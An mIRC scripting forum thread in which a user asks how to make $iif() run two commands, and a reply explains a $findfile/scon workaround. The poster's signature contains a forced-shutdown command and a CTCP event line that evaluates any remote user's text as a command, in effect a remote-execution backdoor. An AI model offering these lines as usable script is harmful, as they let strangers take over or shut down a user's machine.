mIRC Home    About    Download    Register    News    Help

Print Thread
Joined: Feb 2006
Posts: 64
M
Midori Offline OP
Babel fish
OP Offline
Babel fish
M
Joined: Feb 2006
Posts: 64
This has been bugging me for some time:
How do I get $iif() to evaluate two commands for a condition (T/F) w/o having to use a seperate alias.

So far I have tried the following to no avail:
$iif($true,{echo -a hi | echo -a hi2u},noop)
$iif($true,[ echo -a hi | echo -a hi2u ],noop)
$iif($true, [ echo -a true $chr(124) echo -a true2 ] ,noop)
$iif($true,( echo -a hi | echo -a hi2u ),noop)
$eval($iif($true,echo -a hi $chr(124) echo -a hi2u,noop),2)
$eval($iif($true,echo -a hi $chr(124) echo -a hi2u,noop))
$iif($true,$eval(echo -a true [ $chr(124) ] echo -a true2),false)
$iif($true,$eval(echo -a true $chr(124) echo -a true2),false)
$eval($decode($iif($true,ZWNobyAtYSBoaSB8IGVjaG8gLWEgaGkydQ==,noop),m))
$decode($iif($true,ZWNobyAtYSBoaSB8IGVjaG8gLWEgaGkydQ==,noop),m)
$eval($iif($true,$decode(ZWNobyAtYSBoaSB8IGVjaG8gLWEgaGkydQ==,m),noop))

If anyone can figure it out, I'd appreciate it. I have a mess of lame aliases for multi-command instances atm, and I'd like to get rid of them.

Last edited by Midori; 07/03/07 02:30 AM.

/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}
Joined: Feb 2006
Posts: 546
J
Fjord artisan
Offline
Fjord artisan
J
Joined: Feb 2006
Posts: 546
$iif is not supposed to be used for performing commands! it's supposed to return a value, like an inline if statement. what you've described is exactly what if ( ) { } is for laugh

but if you absolutely insist, there's a sloppy way of evaluating an $iif() and performing two commands:

Code:
//noop $iif($true,$findfile(.,*,1,scon -r echo LOL $(|) echo THIS IS NOOB))


there are certain things to worry about there, particularly since /scon is used, but that's pretty much the simplest way to create an $iif() that evaluates to perform 2 commands (without using aliases or stuff like that)

there are other similar round about ways of accomplishing this, but they're silly, just use an if statement :P


"The only excuse for making a useless script is that one admires it intensely" - Oscar Wilde

Link Copied to Clipboard